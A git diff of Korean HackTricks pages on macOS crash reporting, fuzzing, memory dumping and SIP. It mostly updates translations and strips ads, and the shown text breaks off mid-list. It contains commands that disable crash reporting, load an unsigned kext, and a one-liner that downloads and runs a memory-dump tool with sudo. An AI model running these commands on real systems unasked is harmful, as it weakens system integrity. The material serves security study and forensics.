||||||
## 코어 덤프
|
## 코어 덤프
|
||||||
|
|
||||||
|
@ -515,11 +502,11 @@ lldb 내부에서 `process save-core`로 프로세스를 덤프합니다.
|
||||||
|
|
||||||
### [ReportCrash](https://ss64.com/osx/reportcrash.html)
|
### [ReportCrash](https://ss64.com/osx/reportcrash.html)
|
||||||
|
|
||||||
ReportCrash는 **충돌하는 프로세스를 분석하고 충돌 보고서를 디스크에 저장합니다**. 충돌 보고서에는 **개발자가 충돌 원인을 진단하는 데 도움이 되는 정보**가 포함되어 있습니다.\
|
ReportCrash는 **충돌하는 프로세스를 분석하고 충돌 보고서를 디스크에 저장합니다**. 충돌 보고서는 **개발자가** 충돌 원인을 진단하는 데 도움이 되는 정보를 포함합니다.\
|
||||||
사용자별 launchd 컨텍스트에서 **실행되는 애플리케이션 및 기타 프로세스**에 대해 ReportCrash는 LaunchAgent로 실행되며 사용자의 `~/Library/Logs/DiagnosticReports/`에 충돌 보고서를 저장합니다.\
|
사용자별 launchd 컨텍스트에서 **실행되는 애플리케이션 및 기타 프로세스**에 대해 ReportCrash는 LaunchAgent로 실행되며 사용자의 `~/Library/Logs/DiagnosticReports/`에 충돌 보고서를 저장합니다.\
|
||||||
데몬, 시스템 launchd 컨텍스트에서 **실행되는 기타 프로세스** 및 기타 권한 있는 프로세스에 대해 ReportCrash는 LaunchDaemon으로 실행되며 시스템의 `/Library/Logs/DiagnosticReports`에 충돌 보고서를 저장합니다.
|
데몬, 시스템 launchd 컨텍스트에서 **실행되는 기타 프로세스** 및 기타 권한 있는 프로세스에 대해 ReportCrash는 LaunchDaemon으로 실행되며 시스템의 `/Library/Logs/DiagnosticReports`에 충돌 보고서를 저장합니다.
|
||||||
|
|
||||||
충돌 보고서가 **Apple로 전송되는 것**이 걱정된다면 이를 비활성화할 수 있습니다. 그렇지 않으면 충돌 보고서는 **서버가 어떻게 충돌했는지** 알아내는 데 유용할 수 있습니다.
|
충돌 보고서가 **Apple로 전송되는 것**이 걱정된다면 이를 비활성화할 수 있습니다. 그렇지 않으면 충돌 보고서는 **서버가 어떻게 충돌했는지** 파악하는 데 유용할 수 있습니다.
|
||||||
```bash
|
```bash
|
||||||
#To disable crash reporting:
|
#To disable crash reporting:
|
||||||
launchctl unload -w /System/Library/LaunchAgents/com.apple.ReportCrash.plist
|
launchctl unload -w /System/Library/LaunchAgents/com.apple.ReportCrash.plist
|
||||||
|
@ -550,7 +537,7 @@ sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist
|
||||||
```
|
```
|
||||||
### Internal Handlers
|
### Internal Handlers
|
||||||
|
|
||||||
**다음 페이지를 확인하여** 어떤 앱이 **지정된 스킴 또는 프로토콜을 처리하는지 확인하는 방법을 알아보세요:**
|
**다음 페이지를 확인하세요** 어떤 앱이 **지정된 스킴 또는 프로토콜을 처리하는지 찾는 방법을 알아보세요:**
|
||||||
|
|
||||||
{% content-ref url="../macos-file-extension-apps.md" %}
|
{% content-ref url="../macos-file-extension-apps.md" %}
|
||||||
[macos-file-extension-apps.md](../macos-file-extension-apps.md)
|
[macos-file-extension-apps.md](../macos-file-extension-apps.md)
|
||||||
|
@ -565,7 +552,7 @@ dtrace -n 'syscall::recv*:entry { printf("-> %s (pid=%d)", execname, pid); }' >>
|
||||||
sort -u recv.log > procs.txt
|
sort -u recv.log > procs.txt
|
||||||
cat procs.txt
|
cat procs.txt
|
||||||
```
|
```
|
||||||
또는 `netstat` 또는 `lsof`를 사용하십시오.
|
또는 `netstat` 또는 `lsof`를 사용하세요.
|
||||||
|
|
||||||
### Libgmalloc
|
### Libgmalloc
|
||||||
|
|
||||||
|
@ -585,9 +572,9 @@ CLI 도구에 작동합니다.
|
||||||
|
|
||||||
#### [Litefuzz](https://github.com/sec-tools/litefuzz)
|
#### [Litefuzz](https://github.com/sec-tools/litefuzz)
|
||||||
|
|
||||||
macOS GUI 도구와 "**그냥 작동"**합니다. 일부 macOS 앱은 고유한 파일 이름, 올바른 확장자와 같은 특정 요구 사항이 있으며, 샌드박스(`~/Library/Containers/com.apple.Safari/Data`)에서 파일을 읽어야 합니다...
|
macOS GUI 도구와 "**그냥 작동합니다**". 일부 macOS 앱은 고유한 파일 이름, 올바른 확장자와 같은 특정 요구 사항이 있으며, 샌드박스에서 파일을 읽어야 합니다 (`~/Library/Containers/com.apple.Safari/Data`)...
|
||||||
|
|
||||||
몇 가지 예시:
|
몇 가지 예:
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
|
@ -615,43 +602,31 @@ litefuzz -s -a tcp://localhost:5900 -i input/screenshared-session --reportcrash
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
### More Fuzzing MacOS Info
|
### 더 많은 퍼징 MacOS 정보
|
||||||
|
|
||||||
* [https://www.youtube.com/watch?v=T5xfL9tEg44](https://www.youtube.com/watch?v=T5xfL9tEg44)
|
* [https://www.youtube.com/watch?v=T5xfL9tEg44](https://www.youtube.com/watch?v=T5xfL9tEg44)
|
||||||
* [https://github.com/bnagy/slides/blob/master/OSXScale.pdf](https://github.com/bnagy/slides/blob/master/OSXScale.pdf)
|
* [https://github.com/bnagy/slides/blob/master/OSXScale.pdf](https://github.com/bnagy/slides/blob/master/OSXScale.pdf)
|
||||||
* [https://github.com/bnagy/francis/tree/master/exploitaben](https://github.com/bnagy/francis/tree/master/exploitaben)
|
* [https://github.com/bnagy/francis/tree/master/exploitaben](https://github.com/bnagy/francis/tree/master/exploitaben)
|
||||||
* [https://github.com/ant4g0nist/crashwrangler](https://github.com/ant4g0nist/crashwrangler)
|
* [https://github.com/ant4g0nist/crashwrangler](https://github.com/ant4g0nist/crashwrangler)
|
||||||
|
|
||||||
## References
|
## 참고문헌
|
||||||
|
|
||||||
* [**OS X Incident Response: Scripting and Analysis**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS)
|
* [**OS X 사고 대응: 스크립팅 및 분석**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS)
|
||||||
* [**https://www.youtube.com/watch?v=T5xfL9tEg44**](https://www.youtube.com/watch?v=T5xfL9tEg44)
|
* [**https://www.youtube.com/watch?v=T5xfL9tEg44**](https://www.youtube.com/watch?v=T5xfL9tEg44)
|
||||||
* [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
|
* [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
|
||||||
* [**The Art of Mac Malware: The Guide to Analyzing Malicious Software**](https://taomm.org/)
|
* [**Mac 악성코드의 예술: 악성 소프트웨어 분석 가이드**](https://taomm.org/)
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)는 **다크 웹** 기반의 검색 엔진으로, 회사나 고객이 **스틸러 맬웨어**에 의해 **침해**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
|
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보 탈취 맬웨어로 인한 계정 탈취 및 랜섬웨어 공격에 맞서 싸우는 것입니다.
|
|
||||||
|
|
||||||
그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
AWS 해킹 배우기 및 연습하기:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
GCP 해킹 배우기 및 연습하기: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Support HackTricks</summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,57 +1,44 @@
|
||||||
# macOS 메모리 덤프
|
# macOS Memory Dumping
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>HackTricks 지원</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 해킹 요령을 공유하세요.
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
## Memory Artifacts
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)은 **다크 웹**을 기반으로 하는 검색 엔진으로, 회사나 그 고객이 **스틸러 악성 소프트웨어**에 의해 **침해**당했는지 확인할 수 있는 **무료** 기능을 제공합니다.
|
### Swap Files
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보를 도난당한 악성 소프트웨어로 인한 계정 탈취 및 랜섬웨어 공격을 막는 것입니다.
|
스왑 파일은 `/private/var/vm/swapfile0`와 같은 경로에 위치하며, **물리적 메모리가 가득 찼을 때 캐시 역할을 합니다**. 물리적 메모리에 더 이상 공간이 없을 경우, 데이터는 스왑 파일로 전송되고 필요에 따라 다시 물리적 메모리로 가져옵니다. 여러 개의 스왑 파일이 존재할 수 있으며, 이름은 swapfile0, swapfile1 등으로 되어 있습니다.
|
||||||
|
|
||||||
그들의 웹사이트를 방문하여 **무료**로 엔진을 시험해 볼 수 있습니다:
|
### Hibernate Image
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
`/private/var/vm/sleepimage`에 위치한 파일은 **최면 모드**에서 중요합니다. **OS X가 최면 상태에 들어갈 때 메모리의 데이터가 이 파일에 저장됩니다**. 컴퓨터가 깨어나면 시스템은 이 파일에서 메모리 데이터를 검색하여 사용자가 중단한 지점에서 계속할 수 있도록 합니다.
|
||||||
|
|
||||||
***
|
현대 MacOS 시스템에서는 이 파일이 보안상의 이유로 일반적으로 암호화되어 있어 복구가 어렵다는 점은 주목할 가치가 있습니다.
|
||||||
|
|
||||||
## 메모리 아티팩트
|
* sleepimage의 암호화가 활성화되어 있는지 확인하려면 `sysctl vm.swapusage` 명령을 실행할 수 있습니다. 이 명령은 파일이 암호화되어 있는지 여부를 보여줍니다.
|
||||||
|
|
||||||
### 스왑 파일
|
### Memory Pressure Logs
|
||||||
|
|
||||||
`/private/var/vm/swapfile0`와 같은 스왑 파일은 **물리 메모리가 가득 찼을 때 캐시로 작동**합니다. 물리 메모리에 더 이상 공간이 없을 때 해당 데이터는 스왑 파일로 전송되고 필요할 때 다시 물리 메모리로 가져옵니다. swapfile0, swapfile1 등과 같은 이름의 여러 스왑 파일이 존재할 수 있습니다.
|
MacOS 시스템에서 또 다른 중요한 메모리 관련 파일은 **메모리 압력 로그**입니다. 이 로그는 `/var/log`에 위치하며 시스템의 메모리 사용량 및 압력 이벤트에 대한 자세한 정보를 포함하고 있습니다. 메모리 관련 문제를 진단하거나 시스템이 시간이 지남에 따라 메모리를 관리하는 방식을 이해하는 데 특히 유용할 수 있습니다.
|
||||||
|
|
||||||
### 휴면 이미지
|
## Dumping memory with osxpmem
|
||||||
|
|
||||||
`/private/var/vm/sleepimage`에 위치한 파일은 **휴면 모드** 중에 중요합니다. **OS X가 휴면 상태일 때 메모리 데이터가 이 파일에 저장**됩니다. 컴퓨터를 깨우면 시스템이 이 파일에서 메모리 데이터를 검색하여 사용자가 중단한 곳에서 계속할 수 있게 합니다.
|
|
||||||
|
|
||||||
현대의 MacOS 시스템에서는 이 파일이 일반적으로 보안상의 이유로 암호화되어 복구가 어려워집니다.
|
|
||||||
|
|
||||||
* `sysctl vm.swapusage` 명령을 실행하여 sleepimage에 대한 암호화가 활성화되었는지 확인할 수 있습니다. 이를 통해 파일이 암호화되었는지 확인할 수 있습니다.
|
|
||||||
|
|
||||||
### 메모리 압력 로그
|
|
||||||
|
|
||||||
MacOS 시스템에서 또 다른 중요한 메모리 관련 파일은 **메모리 압력 로그**입니다. 이 로그는 `/var/log`에 위치하며 시스템의 메모리 사용량 및 압력 이벤트에 대한 상세한 정보를 포함합니다. 이 로그는 메모리 관련 문제를 진단하거나 시스템이 시간이 지남에 따라 메모리를 관리하는 방식을 이해하는 데 유용할 수 있습니다.
|
|
||||||
|
|
||||||
## osxpmem을 사용한 메모리 덤프
|
|
||||||
|
|
||||||
MacOS 기기에서 메모리를 덤프하려면 [**osxpmem**](https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip)을 사용할 수 있습니다.
|
MacOS 기기에서 메모리를 덤프하려면 [**osxpmem**](https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip)을 사용할 수 있습니다.
|
||||||
|
|
||||||
**참고**: 아래 지침은 인텔 아키텍처를 사용하는 Mac에만 적용됩니다. 이 도구는 현재 보관 중이며 마지막 릴리스는 2017년에 있었습니다. 아래 지침을 사용하여 다운로드한 이진 파일은 Apple Silicon이 2017년에 없었기 때문에 인텔 칩을 대상으로 합니다. arm64 아키텍처용 이진 파일을 컴파일하는 것이 가능할 수 있지만 직접 시도해봐야 합니다.
|
**참고**: 다음 지침은 Intel 아키텍처를 가진 Mac에서만 작동합니다. 이 도구는 현재 아카이브 상태이며 마지막 릴리스는 2017년에 이루어졌습니다. 아래 지침을 사용하여 다운로드한 바이너리는 2017년에 Apple Silicon이 없었기 때문에 Intel 칩을 대상으로 합니다. arm64 아키텍처용으로 바이너리를 컴파일할 수 있을 수도 있지만, 직접 시도해 보아야 합니다.
|
||||||
```bash
|
```bash
|
||||||
#Dump raw format
|
#Dump raw format
|
||||||
sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
|
sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
|
||||||
|
@ -59,16 +46,16 @@ sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
|
||||||
#Dump aff4 format
|
#Dump aff4 format
|
||||||
sudo osxpmem.app/osxpmem -o /tmp/dump_mem.aff4
|
sudo osxpmem.app/osxpmem -o /tmp/dump_mem.aff4
|
||||||
```
|
```
|
||||||
만약 다음 오류를 발견하면: `osxpmem.app/MacPmem.kext failed to load - (libkern/kext) authentication failure (file ownership/permissions); check the system/kernel logs for errors or try kextutil(8)` 다음을 수행하여 해결할 수 있습니다:
|
만약 다음과 같은 오류를 발견하면: `osxpmem.app/MacPmem.kext failed to load - (libkern/kext) authentication failure (file ownership/permissions); check the system/kernel logs for errors or try kextutil(8)` 다음과 같이 수정할 수 있습니다:
|
||||||
```bash
|
```bash
|
||||||
sudo cp -r osxpmem.app/MacPmem.kext "/tmp/"
|
sudo cp -r osxpmem.app/MacPmem.kext "/tmp/"
|
||||||
sudo kextutil "/tmp/MacPmem.kext"
|
sudo kextutil "/tmp/MacPmem.kext"
|
||||||
#Allow the kext in "Security & Privacy --> General"
|
#Allow the kext in "Security & Privacy --> General"
|
||||||
sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
|
sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
|
||||||
```
|
```
|
||||||
**다른 오류**는 "보안 및 개인 정보 보호 --> 일반"에서 **kext 로드를 허용**함으로써 **수정**될 수 있습니다. 그냥 **허용**하세요.
|
**다른 오류**는 "보안 및 개인 정보 보호 --> 일반"에서 **kext의 로드를 허용**하여 수정할 수 있습니다. 그냥 **허용**하세요.
|
||||||
|
|
||||||
또한 이 **원라이너**를 사용하여 애플리케이션을 다운로드하고 kext를 로드하고 메모리를 덤프할 수 있습니다:
|
이 **원라이너**를 사용하여 애플리케이션을 다운로드하고, kext를 로드하고, 메모리를 덤프할 수 있습니다:
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
|
@ -77,29 +64,18 @@ cd /tmp; wget https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)은 **다크 웹**을 활용한 검색 엔진으로, 회사나 그 고객이 **스틸러 악성 소프트웨어**에 의해 **침해**당했는지 확인하는 **무료** 기능을 제공합니다.
|
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보를 도난하는 악성 소프트웨어로 인한 계정 탈취와 랜섬웨어 공격을 막는 것입니다.
|
|
||||||
|
|
||||||
그들의 웹사이트를 방문하여 엔진을 **무료**로 사용해 볼 수 있습니다:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹을 배우고 실습하세요:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
GCP 해킹을 배우고 실습하세요: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>HackTricks 지원하기</summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 레포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -15,23 +15,10 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)는 **다크 웹** 기반의 검색 엔진으로, 기업이나 고객이 **탈취 악성코드**에 의해 **침해**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
|
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보 탈취 악성코드로 인한 계정 탈취 및 랜섬웨어 공격에 맞서 싸우는 것입니다.
|
|
||||||
|
|
||||||
그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## **기본 정보**
|
## **기본 정보**
|
||||||
|
|
||||||
macOS의 **시스템 무결성 보호(System Integrity Protection, SIP)**는 가장 특권이 있는 사용자조차도 주요 시스템 폴더에 대한 무단 변경을 방지하도록 설계된 메커니즘입니다. 이 기능은 보호된 영역에서 파일을 추가, 수정 또는 삭제하는 등의 작업을 제한하여 시스템의 무결성을 유지하는 데 중요한 역할을 합니다. SIP에 의해 보호되는 주요 폴더는 다음과 같습니다:
|
macOS의 **시스템 무결성 보호(SIP)**는 가장 특권이 있는 사용자조차도 주요 시스템 폴더에 대한 무단 변경을 방지하기 위해 설계된 메커니즘입니다. 이 기능은 보호된 영역에서 파일을 추가, 수정 또는 삭제하는 등의 작업을 제한함으로써 시스템의 무결성을 유지하는 데 중요한 역할을 합니다. SIP에 의해 보호되는 주요 폴더는 다음과 같습니다:
|
||||||
|
|
||||||
* **/System**
|
* **/System**
|
||||||
* **/bin**
|
* **/bin**
|
||||||
|
@ -40,7 +27,7 @@ macOS의 **시스템 무결성 보호(System Integrity Protection, SIP)**는 가
|
||||||
|
|
||||||
SIP의 동작을 규정하는 규칙은 **`/System/Library/Sandbox/rootless.conf`**에 위치한 구성 파일에 정의되어 있습니다. 이 파일 내에서 별표(\*)로 접두사가 붙은 경로는 일반적으로 엄격한 SIP 제한의 예외로 표시됩니다.
|
SIP의 동작을 규정하는 규칙은 **`/System/Library/Sandbox/rootless.conf`**에 위치한 구성 파일에 정의되어 있습니다. 이 파일 내에서 별표(\*)로 접두사가 붙은 경로는 일반적으로 엄격한 SIP 제한의 예외로 표시됩니다.
|
||||||
|
|
||||||
아래 예제를 고려해 보십시오:
|
아래의 예를 고려해 보십시오:
|
||||||
```javascript
|
```javascript
|
||||||
/usr
|
/usr
|
||||||
* /usr/libexec/cups
|
* /usr/libexec/cups
|
||||||
|
@ -61,9 +48,9 @@ drwxr-xr-x 11 root wheel sunlnk 352 May 13 00:29 /usr/libexec/cups
|
||||||
ls -lOd /usr/libexec
|
ls -lOd /usr/libexec
|
||||||
drwxr-xr-x 338 root wheel restricted 10816 May 13 00:29 /usr/libexec
|
drwxr-xr-x 338 root wheel restricted 10816 May 13 00:29 /usr/libexec
|
||||||
```
|
```
|
||||||
여기서 **`restricted`** 플래그는 `/usr/libexec` 디렉토리가 SIP에 의해 보호되고 있음을 나타냅니다. SIP로 보호되는 디렉토리에서는 파일을 생성, 수정 또는 삭제할 수 없습니다.
|
여기서 **`restricted`** 플래그는 `/usr/libexec` 디렉토리가 SIP에 의해 보호되고 있음을 나타냅니다. SIP로 보호된 디렉토리에서는 파일을 생성, 수정 또는 삭제할 수 없습니다.
|
||||||
|
|
||||||
또한, 파일에 **`com.apple.rootless`** 확장 **속성**이 포함되어 있으면 해당 파일도 **SIP에 의해 보호됩니다**.
|
또한, 파일에 **`com.apple.rootless`** 확장 **속성**이 포함되어 있으면 해당 파일도 **SIP에 의해 보호**됩니다.
|
||||||
|
|
||||||
**SIP는 다른 루트 작업도 제한합니다**:
|
**SIP는 다른 루트 작업도 제한합니다**:
|
||||||
|
|
||||||
|
@ -92,9 +79,9 @@ csrutil enable --without debug
|
||||||
```
|
```
|
||||||
### Other Restrictions
|
### Other Restrictions
|
||||||
|
|
||||||
* **서명되지 않은 커널 확장(kexts)의 로드를 금지**하여 검증된 확장만이 시스템 커널과 상호작용하도록 보장합니다.
|
* **서명되지 않은 커널 확장(kexts)의 로딩을 허용하지 않음**은 검증된 확장만이 시스템 커널과 상호작용하도록 보장합니다.
|
||||||
* **macOS 시스템 프로세스의 디버깅을 방지**하여 핵심 시스템 구성 요소를 무단 접근 및 수정으로부터 보호합니다.
|
* **macOS 시스템 프로세스의 디버깅을 방지**하여 핵심 시스템 구성 요소를 무단 접근 및 수정으로부터 보호합니다.
|
||||||
* **dtrace와 같은 도구의 시스템 프로세스 검사 방지**로 시스템 운영의 무결성을 추가로 보호합니다.
|
* **dtrace와 같은 도구의 시스템 프로세스 검사 방지**는 시스템 운영의 무결성을 더욱 보호합니다.
|
||||||
|
|
||||||
[**이 발표에서 SIP 정보에 대해 더 알아보세요**](https://www.slideshare.net/i0n1c/syscan360-stefan-esser-os-x-el-capitan-sinking-the-ship)**.**
|
[**이 발표에서 SIP 정보에 대해 더 알아보세요**](https://www.slideshare.net/i0n1c/syscan360-stefan-esser-os-x-el-capitan-sinking-the-ship)**.**
|
||||||
|
|
||||||
|
@ -104,7 +91,7 @@ SIP를 우회하면 공격자가 다음을 수행할 수 있습니다:
|
||||||
|
|
||||||
* **사용자 데이터 접근**: 모든 사용자 계정에서 메일, 메시지 및 Safari 기록과 같은 민감한 사용자 데이터를 읽습니다.
|
* **사용자 데이터 접근**: 모든 사용자 계정에서 메일, 메시지 및 Safari 기록과 같은 민감한 사용자 데이터를 읽습니다.
|
||||||
* **TCC 우회**: TCC(투명성, 동의 및 제어) 데이터베이스를 직접 조작하여 웹캠, 마이크 및 기타 리소스에 대한 무단 접근을 허용합니다.
|
* **TCC 우회**: TCC(투명성, 동의 및 제어) 데이터베이스를 직접 조작하여 웹캠, 마이크 및 기타 리소스에 대한 무단 접근을 허용합니다.
|
||||||
* **지속성 확립**: SIP로 보호된 위치에 악성 코드를 배치하여 루트 권한으로도 제거하기 어렵게 만듭니다. 여기에는 악성 소프트웨어 제거 도구(MRT)를 변조할 가능성도 포함됩니다.
|
